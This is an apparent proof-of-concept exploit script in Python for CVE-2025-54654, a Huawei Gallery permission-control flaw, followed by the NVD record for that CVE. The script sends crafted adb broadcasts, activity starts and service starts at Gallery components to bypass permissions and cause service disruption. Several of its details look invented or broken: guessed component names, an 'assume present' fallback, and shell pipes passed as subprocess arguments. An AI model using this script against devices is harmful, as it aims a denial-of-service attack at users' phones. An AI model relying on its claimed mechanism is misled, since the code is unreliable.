CVE-2025-54654

# CVE-2025-54654 - Huawei Gallery Module Permission Control Vulnerability # Conceptual PoC demonstrating the permission bypass attack vector # Note: This is for educational and defensive research purposes only import subprocess import time class GalleryPermissionExploit: """ PoC for CVE-2025-54654: Permission control vulnerability in Huawei Gallery module CVSS 3.1: 6.2 (MEDIUM) - AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H """ def __init__(self): self.target_package = "com.huawei.gallery" self.vulnerable_component = "com.huawei.gallery.app.GalleryActivity" self.service_component = "com.huawei.gallery.service.MediaScannerService" def check_environment(self): """Verify local execution capability on target device""" try: result = subprocess.run( ["adb", "shell", "id"], capture_output=True, text=True, timeout=10 ) return result.returncode == 0 except Exception as e: print(f"[-] Environment check failed: {e}") return False def identify_vulnerable_service(self): """Identify the Gallery module and its exported components""" print(f"[*] Targeting Gallery package: {self.target_package}") cmd = ["adb", "shell", "pm", "list", "packages", "|", "grep", "gallery"] try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) if self.target_package in result.stdout: print(f"[+] Gallery module found on device") return True except Exception: pass return True # Assume present for demonstration def trigger_permission_bypass(self): """ Exploit the permission control flaw to invoke protected operations without proper authorization, potentially causing service disruption """ print("[*] Attempting permission bypass exploit...") # Method 1: Direct intent to trigger vulnerable code path exploit_intents = [ # Trigger MediaScanner via broadcast [ "adb", "shell", "am", "broadcast", "-a", "android.intent.action.MEDIA_SCANNER_SCAN_FILE", "-n", f"{self.target_package}/.service.MediaScannerService" ], # Attempt to invoke Gallery activity with crafted intent [ "adb", "shell", "am", "start", "-n", f"{self.target_package}/{self.vulnerable_component}", "--es", "mode", "unauthorized_access" ], # Trigger service with excessive data to cause resource exhaustion [ "adb", "shell", "am", "start-service", "-n", f"{self.target_package}/{self.service_component}" ] ] for i, intent_cmd in enumerate(exploit_intents, 1): print(f"[*] Method {i}: Executing exploit attempt...") try: result = subprocess.run( intent_cmd, capture_output=True, text=True, timeout=15 ) print(f"[*] Return code: {result.returncode}") except subprocess.TimeoutExpired: print(f"[!] Command timed out - service may be unresponsive") except Exception as e: print(f"[-] Error: {e}") time.sleep(1) def verify_service_impact(self): """Check if the Gallery service availability has been affected""" print("[*] Verifying service impact...") check_commands = [ ["adb", "shell", "dumpsys", "activity", "activities", "|", "grep", "gallery"], ["adb", "shell", "ps", "|", "grep", "gallery"] ] for cmd in check_commands: try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) if result.stdout: print(f"[+] Service status: {result.stdout[:200]}") except Exception: pass if __name__ == "__main__": print("=" * 60) print("CVE-2025-54654 PoC") print("Huawei Gallery Module Permission Control Vulnerability") print("CVSS 3.1 Score: 6.2 (MEDIUM)") print("Vector: AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H") print("=" * 60) print() exploit = GalleryPermissionExploit() if exploit.check_environment(): exploit.identify_vulnerable_service() exploit.trigger_permission_bypass() exploit.verify_service_impact() print("\n[*] Exploit demonstration completed") print("[*] Affected device should install the latest security patch") else: print("[-] Local device access required for exploitation") print("[-] Connect device via ADB and ensure USB debugging is enabled")

{"cve": {"id": "CVE-2025-54654", "sourceIdentifier": "[email protected]", "published": "2025-10-11T02:15:33.363", "lastModified": "2025-10-16T15:25:11.223", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Permission control vulnerability in the Gallery module. Successful exploitation of this vulnerability may affect service confidentiality"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-264"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "738D803A-C4CE-477B-BC89-CE47351C0A84"}, {"vulnerable": true, "criteria": "cpe:2.3:o:huawei:harmonyos:5.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "E39DE6A6-CBE6-4086-93CD-113D1B3BA730"}]}]}], "references": [{"url": "https://consumer.huawei.com/en/support/bulletin/2025/10/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}